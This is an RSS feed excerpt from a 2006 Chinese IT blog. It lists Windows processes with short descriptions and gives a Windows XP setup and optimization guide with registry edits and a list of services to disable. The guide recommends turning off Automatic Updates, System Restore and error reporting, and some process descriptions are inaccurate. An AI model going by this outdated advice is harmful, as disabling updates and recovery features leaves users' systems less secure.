Server Subsystem <br />描述：客户端服务子系统，用以控制Windows图形相关子系统。<br /><br />ddhelp.exe <br />进程文件: ddhelp or ddhelp.exe<br />进程名称: DirectDraw Helper<br />描述: DirectDraw Helper是DirectX这个用于图形服务的一个组成部分。<br /><br />dllhost.exe <br />进程文件：dllhost or dllhost.exe <br />进程名称：DCOM DLL Host进程 <br />描述：DCOM DLL Host进程支持基于COM对象支持DLL以运行Windows程序 <br /><br />explorer.exe <br />进程文件：explorer or explorer.exe <br />进程名称：程序管理 <br />描述：Windows Program Manager或者Windows Explorer用于控制Windows图形Shell，包括开始菜单、任务栏，桌面和文件管理。这个进程主要负责显示系统桌面上的图标以及任务栏<br /><br />inetinfo.exe <br />进程文件: inetinfo or inetinfo.exe<br />进程名称: IIS Admin Service Helper<br />描述: InetInfo是Microsoft Internet Infomation Services (IIS)的一部分，用于Debug调试除错。<br /><br />internat.exe <br />进程文件: internat or internat.exe<br />进程名称: Input Locales<br />描述: 这个输入控制图标用于更改类似国家设置、键盘类型和日期格式<br /><br />kernel32.dll <br />进程文件: kernel32 or kernel32.dll<br />进程名称: Windows壳进程<br />描述: Windows壳进程用于管理多线程、内存和资源<br /><br />lsass.exe <br />进程文件：lsass or lsass.exe <br />进程名称：本地安全权限服务 <br />描述：这个本地安全权限服务控制Windows安全机制。<br />进程详解：管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。(系统服务) 产生会话密钥以及授予用于交互式客户/服务器验证的服务凭据(ticket),也就是本地安全权限服务,属于Windowsde的核心进程之一,也被黑客千方百计的寻找漏洞,大名鼎鼎的震荡波利用的就是其中一个漏洞,<br /><br />mdm.exe <br />进程文件: mdm or mdm.exe<br />进程名称: Machine Debug Manager<br />描述: Debug除错管理用于调试应用程序和Microsoft Office中的Microsoft Script Editor脚本编辑器<br /><br />mmtask.tsk <br />进程文件: mmtask or mmtask.tsk<br />进程名称: 多媒体支持进程<br />描述: 这个Windows多媒体后台程序控制多媒体服务<br /><br />mprexe.exe <br />进程文件: mprexe or mprexe.exe<br />进程名称: Windows路由进程<br />描述: Windows路由进程包括向适当的网络部分发出网络请求<br /><br />msgsrv32.exe <br />进程文件: msgsrv32 or msgsrv32.exe<br />进程名称: Windows信使服务<br />描述: Windows信使服务调用Windows驱动和程序管理在启动<br /><br />mstask.exe <br />进程文件: mstask or mstask.exe<br />进程名称: Windows计划任务<br />描述: Windows计划任务用于设定继承在什么时间或者什么日期备份或者运行<br /><br />regsvc.exe <br />进程文件: regsvc or regsvc.exe<br />进程名称: 远程注册表服务<br />描述: 远程注册表服务用于访问在远程计算机的注册表<br /><br />rpcss.exe <br />进程文件: rpcss or rpcss.exe<br />进程名称: RPC Portmapper<br />描述: Windows 的RPC端口映射进程处理RPC调用(远程模块调用)然后把它们映射给指定的服务提供者 <br /><br /><br /><span style="FONT-SIZE: 12px">services.exe <br />进程文件：services or services.exe <br />进程名称：Windows Service Controller <br />描述：管理Windows服务<br /><br />smss.exe <br />进程文件: smss or smss.exe<br />进程名称: Session Manager Subsystem<br />描述: 该进程为会话管理子系统用以初始化系统变量，MS-DOS驱动名称类似LPT1以及COM，调用Win32壳子系统和运行在Windows登陆过程<br /><br />snmp.exe <br />进程文件: snmp or snmp.exe<br />进程名称: Microsoft SNMP Agent<br />描述: Windows简单的网络协议代理（SNMP）用于监听和发送请求到适当的网络部分<br /><br />spool32.exe <br />进程文件: spool32 or spool32.exe<br />进程名称: Printer Spooler<br />描述: Windows打印任务控制程序，用以打印机就绪<br /><br />spoolsv.exe <br />进程文件：spoolsv or spoolsv.exe <br />进程名称：Printer Spooler Service <br />描述：Windows打印任务控制程序，用以打印机就绪<br /><br />stisvc.exe <br />进程文件: stisvc or stisvc.exe<br />进程名称: Still Image Service<br />描述: Still Image Service用于控制扫描仪和数码相机连接在Windows<br /><br />svchost.exe <br />进程文件：svchost or svchost.exe <br />进程名称：Service Host Process <br />描述：Service Host Process是一个标准的动态连接库主机处理服务。<br />进程详解：Svchost.exe是一个系统的核心进程，并不是病毒进程。但由于Svchost.exe进程的特殊性，所以病毒也会千方百计的入侵Svchost.exe。通过察看Svchost.exe进程的执行路径可以确认是否中毒 Svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。其实Svchost.exe是Windows XP系统的一个核心进程。Svchost.exe不单单只出现在Windows XP中，在使用NT内核的Windows系统中都会有Svchost.exe的存在。一般在Windows 2000中Svchost.exe进程的数目为2个，而在Windows XP中Svchost.exe进程的数目就上升到了4个及4个以上。所以看到系统的进程列表中有几个Svchost.exe不用那么担心。如果你怀疑计算机有可能被病毒感染，Svchost.exe的服务出现异常的话通过搜索Svchost.exe文件就可以发现异常情况。一般只会找到一个在：“C:WindowsSystem32”目录下的Svchost.exe程序。如果你在其他目录下发现Svchost.exe程序的话，那很可能就是中毒了。<br /><br />taskmgr.exe <br />进程文件：taskmgr or taskmgr.exe <br />进程名称：The Windows Task Manager <br />描述：Windows任务管理器,是Windows任务管理执行者<br /><br />taskmon.exe <br />进程文件: taskmon or taskmon.exe<br />进程名称: Windows Task Optimizer<br />描述: windows任务优化器监视你使用某个程序的频率，并且通过加载那些经常使用的程序来整理优化硬盘<br /><br />tcpsvcs.exe <br />进程文件: tcpsvcs or tcpsvcs.exe<br />进程名称: TCP/IP Services<br />描述: TCP/IP Services Application支持透过TCP/IP连接局域网和Internet<br /><br />winlogon.exe <br />进程文件：winlogon or winlogon.exe <br />进程名称：Windows Logon Process <br />描述：Windows NT用户登陆程序。<br /><br />winmgmt.exe <br />进程文件: winmgmt or winmgmt.exe<br />进程名称: Windows Management Service<br />描述: Windows Management Service透过Windows Management Instrumentation data (WMI)技术处理来自应用客户端的请求<br /><br />wuauclt.exe <br />进程文件：wuauclt or wuauclt.exe <br />进程名称：AutoUpdate for Windows <br />描述：Windows自动升级, <br />进程详解：Wuauclt.exe是主管Windows自动升级的系统进程. 可以在线检测最近Windows更新如果你没有开启自动升级的话就不会有这项进程了，而且就算你开启了它，它也不是任何时候都开启的<br /><br />wuauc.exe <br />进程文件：wuauc or wuauc.exe <br />进程名称：Automatic Updates 自动升级 <br />进程描述：wuauc.exe为Windows管理自动更新。这个程序自动检查最近Windows的更新.<br />System Idle Process <br /><br />absr.exe<br />进程文件: absr or absr.exe<br />进程名称: Backdoor.Autoupder Virus<br />描述: 这个进程是Backdoor.Autoupder后门病毒程序创建的。<br /><br />acrobat.exe<br />进程文件: acrobat or acrobat.exe<br />进程名称: Adobe Acrobat<br />描述: Acrobat Writer用于创建PDF文档。<br /><br />acrord32.exe<br />进程文件: acrord32 or acrord32.exe<br />进程名称: Acrobat Reader<br />描述: Acrobat Reader是一个用于阅读PDF文档的软件。<br /><br />agentsvr.exe<br />进程文件: agentsvr or agentsvr.exe<br />进程名称: OLE automation server<br />描述: OLE Automation Server是Microsoft Agent的一部分。<br /><br />aim.exe<br />进程文件: aim or aim.exe<br />进程名称: AOL Instant Messenger<br />描述: AOL Instant Messenger是一个在线聊天和即时通讯IM软件客户端。</span><br /><br /><br /><span style="FONT-SIZE: 12px">airsvcu.exe<br />进程文件: airsvcu or airsvcu.exe<br />进程名称: Microsoft Media Manager<br />描述: OLE 这是一个用于在硬盘上建立索引文件和文件夹，在Microsoft Media Manager媒体管理启动时运行的进程。它可以在控制面板被禁用。<br /><br />alogserv.exe<br />进程文件: alogserv or alogserv.exe<br />进程名称: McAfee VirusScan<br />描述: McAfee VirusScan是一个反病毒软件用于扫描你的文档和E-mail中的病毒。<br /><br />avconsol.exe<br />进程文件: avconsol or avconsol.exe<br />进程名称: McAfee VirusScan<br />描述: McAfee VirusScan是一个反病毒软件用于扫描你的文档和E-mail中的病毒。<br /><br />avsynmgr.exe<br />进程文件: avsynmgr or avsynmgr.exe<br />进程名称: McAfee VirusScan<br />描述: McAfee VirusScan是一个反病毒软件用于扫描你的文档和E-mail中的病毒。<br /><br />backWeb.exe<br />进程文件: backWeb or backWeb.exe<br />进程名称: Backweb Adware<br />描述: Backweb是一个Adware（广告插件，一般是由于安装某些免费软件而伴随安装上的程序）来自BackwebTechnologies。<br /><br />bcb.exe<br />进程文件: bcb or bcb.exe<br />进程名称: Borland C++ Builder<br />描述: Borland C++ Builder <br /><br />calc.exe<br />进程文件: calc or calc.exe<br />进程名称: Calculator<br />描述: Microsoft Windows计算器程序 <br /><br />ccapp.exe<br />进程文件: ccapp or ccapp.exe<br />进程名称: Symantec Common Client<br />描述: Symantec公用应用客户端包含在Norton AntiVirus 2003和Norton Personal Firewall 2003。 <br /><br />cdplayer.exe<br />进程文件: cdplayer or cdplayer.exe<br />进程名称: CD Player<br />描述: Microsoft Windows包含的CD播放器 <br /><br />charmap.exe<br />进程文件: charmap or charmap.exe<br />进程名称: Windows Character Map<br />描述: Windows字符映射表用来帮助你寻找不常见的字符。 <br /><br />idaemon.exe<br />进程文件: cidaemon or cidaemon.exe<br />进程名称: Microsoft Indexing Service<br />描述: 在后台运行的Windows索引服务，用于帮助你搜索文件在下次变得更快。 <br /><br />cisvc.exe<br />进程文件: cisvc or cisvc.exe<br />进程名称: Microsoft Index Service Helper<br />描述: Microsoft Index Service Helper监视Microsoft Indexing Service (cidaemon.exe) 的内存占用情况，如果cidaemon.exe内存使用超过了40M，则自动重新启动该进程。 <br /><br />cmd.exe<br />进程文件: cmd or cmd.exe<br />进程名称: Windows Command Prompt<br />描述: Windows控制台程序。不像旧的command.com，cmd.exe是一个32位的命令行使用在WinNT/2000/XP。</span><br /><br /><br /><span style="FONT-SIZE: 12px">cmesys.exe<br />进程文件: cmesys or cmesys.exe<br />进程名称: Gator GAIN Adware<br />描述: Gator GAIN是一个Adware插件（广告插件，一般是由于安装某些免费软件而伴随安装上的程序）。 <br /><br />ctfmon.exe<br />进程文件: ctfmon or ctfmon.exe<br />进程名称: Alternative User Input Services<br />描述: 控制Alternative User Input Text Processor (TIP)和Microsoft Office语言条。Ctfmon.exe提供语音识别、手写识别、键盘、翻译和其它用户输入技术的支持。 <br /><br />ctsvccda.exe<br />进程文件: ctsvccda or ctsvccda.exe<br />进程名称: Create CD-ROM Services<br />描述: 在Win9X创建CD-ROM访问服务。 <br /><br />cutftp.exe<br />进程文件: cutftp or cutftp.exe<br />进程名称: CuteFTP<br />描述: CuteFTP是一个流行的FTP客户端用于从FTP服务器上传/下载文件。<br /><br />显示的服务名称 调用的进程 你需要吗？它从哪里来的呢？ <br /><br />Crypkey License crypserv.exe 不需要。如果你安装了Swish这个软件，在运行swish的时候，需要开启这个服务，否则就会弹出一个窗口报告写内存错误。 默认值:自动 最安全设置:禁止 <br /><br />DefWatch defwatch.exe 看情况。这是Norton的病毒定义后台服务，如果你希望病毒检测正常工作，就让它自动运行吧。 默认值:自动 最安全设置:自动 <br /><br />InteractiveLogon Fast.exe 不需要。这是安装了Windows XP的PowerToys后开启的服务，每个都耗掉1.4MB到2MB的内存。 默认值:自动 最安全设置:禁止 <br /><br />Machine Debug Manager mdm.exe 看情况。这是Office组件或者Visual家族的产品附带的服务。如果你不需要进行调试，大可禁止这个服务。 默认值:自动 最安全设置:禁止 <br /><br />NortonAntiVirus Auto Protect Service navapsvc.exe 这是Norton 2002附带的服务，为了计算机的安全，还是顺其自然吧。 Manual Manual NortonAntiVirus Server rtvscan.exe 需要。这是Norton企业版附带的服务，还是开启自动的好。 默认值:自动 最安全设置:自动 <br /><br />NVIDIA Driver Helper Service nvsvc32.exe 不需要。当你将WDM驱动升级到nVidia的最新版本驱动的时候，经过反复实验，该服务可以不理它。注意：如果使用的是某些品牌的，比如Asua等，可能该服务会改成其他名字。 默认值:自动 最安全设置:禁止 <br /><br />ScriptBlocking Service SBServ.exe 这是Norton 2002附带的服务。可以阻止恶意代码的破坏，建议自动。 默认值 自动 最安全设置 自动 <br /><br />WMDM PMSP Service mspmspsv.exe 不需要。这是安装Windows Media Player 7的时候开启的服务，如果你不适应Media Player，就禁止它。如果开始使用Media Player的时候工作不正常，就将其设为自动或者手动。 默认值:自动 最安全设置:禁止 <br /><br /><br />2.下面这些并不是真正的服务，而是在不同的情况下运行的程序或进程，很多还是必须的进程。 <br /><br />　　csrss.exe　这是Windows的核心部分之一，全称为Client Server Runtime Process。我们不能结束该进程。这个只有4k的进程经常消耗3MB到6MB左右的内存，建议不要禁止该进程，而且它很难去除，不如让它运行好了。<br /><br />　　ctfmon.exe 这是我们安装了Windows XP尤其是安装了Office XP后，在桌面右下角显示的“语言栏”，如果你不希望它出现，可以通过下面的步骤取消：双击“控制面板”→“区域和语言设置”，单击“语言”标签，单击“详细信息”按钮，打开“文字服务和输入语言”对话框，单击下面“首选项”的“语言栏”按钮，打开“语言栏设置”对话框，取消“在桌面上显示语言栏”的勾选即可。不要小看这个细节，它会为你节省1.5MB到4MB的内存。<br /><br />　　 devldr32.exe 如果你有一个CreativeSBLive系列的声卡，就可能出现这个进程，它占用大约2.3MB到2.6MB的内存，有些奇怪的是，当我从任务栏禁止了这个进程后，通过游戏和DVD实验，并没有发生任何错误，但是，如果你将这个文件重新命名了，就会出现Windows的文件保护警告窗口，而且Creative Mixer和AudioHQ程序加载出错。所以，如果你希望节省一些内存，那么可以将他们禁止，随你便了！<br /><br />　　 explorer.exe 这可不是Internet Explorer，explorer.exe总是在后台运行，它控制着标准的用户界面、进程、命令和桌面等，如果你打开任务管理器，就会看到另外一个explorer.exe在后台运行。根据系统的字体、背景图片、活动桌面等情况的不同，通常会消耗5.8MB到36MB内存不等。Idle如果你在任务管理器看到它显示99%的占用率，千万不要害怕，实际上这是好事，因为这表示你的计算机目前有99%的性能等待你的使用！这是关键进程，不能结束。该进程只有16KB的大小，循环统计CPU的空闲度。<br /><br />　　 IEXPLORE.EXE 这才是我们的IE浏览器。当我们使用它上网冲浪的时候，它会占有7.3MB甚至更多的内存。当然，这个随着我们上网打开的浏览器窗口的增加而增多，但是，当我们关闭所有的IE窗口的时候，它并不会从任务管理器消失，IEXPLORE.EXE依然在后台运行着，这个功能的作用是加快我们再一次打开IE浏览器的速度。和Mozilla不同的是，这个功能是不可禁止的。<br /><br />　　 Generic Host Process for Win32 Services　如果你安装了ZoneAlarm以后，在连接Internet的时候ZoneAlarm总是抱怨链接不到Internet，那么你就应该好好看看下面的文字。Svhost.exe就是“Generic Service Host”，意思就是说，它是其他服务的主机！（请参考文萃11期的相关文章，有所有的服务的介绍）。如果你的Internet连接不工作了，很有可能是你禁止了一些必须的服务，比如如果你禁止了“DNS搜索”功能，那么当你在地址栏输入的时候，就不会连接上网，但是如果你输入IP地址，尽管还是可以上网，但是实际上你已经破坏了上网冲浪的关键进程！<br /><br />　　 mozilla.exe 这个是Mozilla浏览器的进程，大约占用了14MB左右甚至更多的内存空间，当然你可以从任务管理器中将其结束，但是如果你要使用这个浏览器的时候，它的第一次的启动速度就会变慢了。<br /><br />　　msmsgs.exe 这是微软的Windows Messenger即时通信软件的进程，在Windows XP的家庭版和专业版里面绑定的。如果你还运行着Outlook和MSN Explorer等程序，该进程会在后台运行支持所有这些微软号称的很Cool的.NET警告等。<br /><br />　　 msn6.exe 这是微软在Windows XP里面绑定的MSN Explorer（MSN浏览器）进程，该进程需要msmsgs.exe事先运行。<br />　　 Navapw32.exe 这是安装了NortonAntiVirus 2002软件后启动的进程，除非你不需要病毒检测功能了，否则不要结束这个进程，这个进程同时还承担着自动升级病毒定义库文件的功能和在系统任务栏显示一个小图标的功能。<br /><br />　　 point32.exe 这是安装了类似M＄鼠标软件（Intellimouse等等）后启动的程序，在Windows XP里面内建了很多鼠标的新功能，所以，就没有必要在系统后台运行，既浪费1.1MB到1.6MB的内存，还要在任务栏占个地方！<br /><br />　　 promon.exe 这是Intel系列显卡安装的程序，在任务栏显示图标控制程序，占据大约656KB到1.1MB的内存。　　 <br /><br />smss.exe 它只有45KB的大小却占据着300KB到2MB的内存空间，这是一个Windows的核心进程之一，是Windows NT内核的会话管理程序。<br /><br />　　 svchost.exe 这实际上是一个服务（service），有时候你会经常在任务管理器里面看到好几个一样的该进程（system、network、user或者其他），在Windows XP里面，如果你结束了这个进程，那么系统就会在一分钟之内自动关闭，在Windows 2000中，该进程将显示为关键进程，禁止结束！<br /><br />　　 System IDLE Process 这是一个当没有任何程序或者进程对CPU发出请求的时候调用的普通进程，该进程不能被结束，如果它显示CPU占用率是“97%”，那就意味着只有3%的CPU进程被真正的程序占用着，如果你发现这个Idle Processes一直保持很低的数值（比如一直显示3％），那么肯定有一个应用程序一直在运行着，需要检查一下！taskmgr.exe这个进程挺有意思的（翻译这个的时候我乐了半天），如果你看到了这个进程在运行，呵呵，其实就是你看这个进程的任务管理器。它大约占用了3.2MB的内存，当你优化你的系统的时候，不要忘了把它也算进去。<br /><br />　　 TaskSwitch.exe 在Windows XP系统中安装了PowerToys后会出现此进程，按Alt＋Tab键显示漂亮的切换图标，大约占用1.4MB到2MB的内存空间。<br /><br />　　 vptray.exe 这是Norton AV显示在任务栏的一个图标的进程，占用大约2.9MB左右的内存，如果我们从任务栏将这个图标移走，能够收回一些内存，但是实际上它还在后台运行着…… <br /><br />　　 winlogon.exe 这个进程处理登录和注销任务，事实上，这个进程是必需的，它的大小和你登录的时间有关系，我曾亲眼看见这个进程占用空间的波动情况，一个是登录一个小时左右，内存在1.2MB到8.5MB之间波动；另一个是登录了40多天，内存在1.7MB到17MB之间波动。wowexec.exe当你运行一些老的应用程序（比如一些16位的程序）或者DOS控制台下运行DOS命令行程序，你就会在进程里面发现它。</span><img src ="http://www.cnitblog.com/szdlinxie/aggbug/20608.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-16 11:47 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20608.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows XP 安装配置优化</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20605.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Sat, 16 Dec 2006 03:41:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20605.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20605.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20605.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20605.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20605.html</trackback:ping><description><![CDATA[Windows XP 安装配置优化<br /><br />安装完成后：查看系统已安装的补丁:“systeminfo &gt; systeminfo.txt”后回车，在当前目录下生成了一个名为systeminfo.txt的文本文件，里面记录了本机安装的补丁信息，还记载了其它系统主要配置信息。查看服务：则使用"tasklist /svc"。<br />安装防病毒软件，安装防火墙，安装补丁。<br />1、删除系统组件：<br />  打开windows\inf\sysoc.inf，“,hide,”替换为“,,”。（或“hide,”－“”）然后在添加删除程序中选择安装。<br />2、我的电脑－属性－（高级，系统还原，远程）项<br />关闭系统还原功能，关闭远程协助，设置虚拟内存。<br />3、我的电脑－管理<br />更改系统管理员名称，设置密码，删除不用的帐号，<br />4、运行gpedit.msc,在管理模板－系统，关闭自动播放功能。<br />5、关闭139：<br />本地连接－属性，取消网络客户端协议，在TCP/IP属性－高级－WINS项禁用TCP/IP上的NetBIOS.<br />6、安装WINDOWS优化大师进行优化。<br />7、关闭445端口：<br />HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters<br />“新建”菜单中选择“DWORD值”， 将新建的DWORD参数命名为“SMBDeviceEnabled”，数值为缺省的“0”。同时把TransportBindName值清空。<br />8、防火墙设置<br />设置规则拦截139,80端口，TCP拦截。<br />9、关闭错误回报 <br />控制台----&gt;系统----&gt;高级----&gt;右下角---&gt;错误报告----&gt;关闭<br />10、关闭默认共享：<br />[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]<br />"AutoShareServer"=dword:00000000<br />"AutoSharewks"=dword:00000000<br />11、关掉调试器Dr. Watson； <br />运行drwtsn32，把除了“转储全部线程上下文”之外的全都去掉。否则一旦有程序出错，硬盘会响很久，而且会占用很多空间。如果你以前遇到过这种情况，请查找user.dmp文件并删掉，可能会省掉几十M的空间。这是出错程序的现场，对我们没用。另外蓝屏时出现的memory.dmp也可删掉。可在我的电脑/属性中关掉BSOD时的DUMP <br />12、关掉系统自带压缩：<br />这是一个相当好的优化，Windows XP内置了对.ZIP文件的支持，我们可以把zip文件当成文件夹浏览。不过，系统要使用部分资源来实现这一功能，因此禁用这一功能可以提升系统性能。实现方法非常简单，只需取消zipfldr.dll的注册就可以了，点击开始—&gt;运行，敲入： regsvr32 /u zipfldr.dll 。然后回车即可。<br />14、关闭不用的系统服务：<br />我的电脑－管理－服务，关闭以下用不到的系统服务：<br />alerter -错误警报器<br />automatic updates -windows自动更新. <br />background intelligent transfer service -这个服务原是用来实现http1.1服务器之间的信息传输，微软称支持windows更新时断点续传 <br />clipbook - 用与局域网电脑来共享 粘贴/剪贴的内容。 <br />COmputer browser　－　用来浏览局域网电脑的服务，但关了也不影响浏览。<br />DHCP client－静态ＩＰ者需要。<br />Distributed link tracking client－用于局域网更新连接信息。<br />Distributed Transaction coordinator－无聊的东西。 <br />DNS Client－ＤＮＳ解析服务。<br />Error reporting service -错误报告器，把windows中错误报告给微软。 <br />＊Event Log - 系统日志纪录服务，很有用于查找系统毛病． <br />Fast user switching compatibility－多用户快速切换服务。<br />help and support -帮助。<br />Human interface device access－支持＂弱智“电脑配件的。。<br />IMAPI CD-burning COM service　－ｘｐ刻牒服务，用软件就不用了。<br />Indexing service -恐怖的xp减速的东东。 <br />Internet Connection Firewall(ICF).........-xp防火墙。。不用就关。 <br />IPSEC Services－大众用户连边都沾不上。 <br />Logical Disk manager　－磁盘管理服务。。<br />Logical Disk manager administrative service－同上。 <br />messenger -不是msn。 <br />MS software shadow copy provider－无用。 <br />Net Logon－登陆　domain controller用的。 <br />Netmeeting remote desktop sharing－用netmeeting实现电脑共享。<br />Network DDE　－和clipbook一起用的。<br />Network DDE DSDM　－同上 。<br />Network Location Awareness－如有网络共享或ICS/ICF可能需要.(服务器端） <br />NT LM Security support provider－telnet　服务用的。<br />NVIDIA Driver Helper service -nvidia 显卡帮助。<br />PerFORMance logs and alerts－记录机器运行状况而且定时写入日志或发警告。<br />Portable media serial number－。 <br />Print Spooler -打印机用的。<br />QoS RSVP -２０％的QoS。<br />Remote access auto connection manager－宽带者／网络共享可能需要！！ <br />Remote desktop help session manager－远程帮助服务。<br />Remote Procedure Call LOCATOR－管理　ＲＰＣ数据库服务。<br />remote registry －远程注册表运行／修改。大漏洞。<br />removable storage　－磁带备份用的。 <br />routing and remote access－不知者关！ <br />secondary logon－给与administrator 以外的用户分配指定操作权．<br />security accounts manager－像 Protected Storage,　IIS Admin 才需要。 <br />server -局域网文件／打印共享需要的。 <br />shell hardware detection－给有些配置自动启动，像内存棒，和有些ｃｄ驱动等 <br />smart card <br />smart card helper  <br />SSDP Discovery service－没有什么硬件利用这个服务。。 <br />system event notification－记录用户登录／注销／重起／关机信息。 <br />system restore service -系统还原服务。<br />task scheduler－windows 计划服务。 <br />TCP/IP NetBIOS helper－如果网络不用　Netbios 或WINS，可以关。<br />Telephony - 拨号服务，如果你的宽带不用拨号，那么关。 <br />telnet -大漏洞，跟dos中telnet　命令没关系。 <br />terminal services－实现远程登录本地电脑，快速用户切换和远程桌面功能需要。<br />themes -给XP打扮的。 <br />uninterruptible power supply－停电保护设备用的<br />universal plug and play device host－同SSDP Discovery Service ，没用． <br />upload manager－用来实现服务器和客户端输送文件的服务。 <br />volume shadow copy－同MS Software Shadow Copy Provider，无用． <br />webclient－可能和.net技术有联系。<br />windows image acquisition (WIA) -有些数码相机和扫描器用的。<br />windows time -网上时间校对。<br />wireless zero configuration -无线网络设置服务。 <br />WMI perFORMance adapter -关。<br /><br />15、sfc /purgecache  清除文件缓存。<br />16、系统重新封装。<br />17、ghost备份，刻盘。 <img src ="http://www.cnitblog.com/szdlinxie/aggbug/20605.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-16 11:41 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20605.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>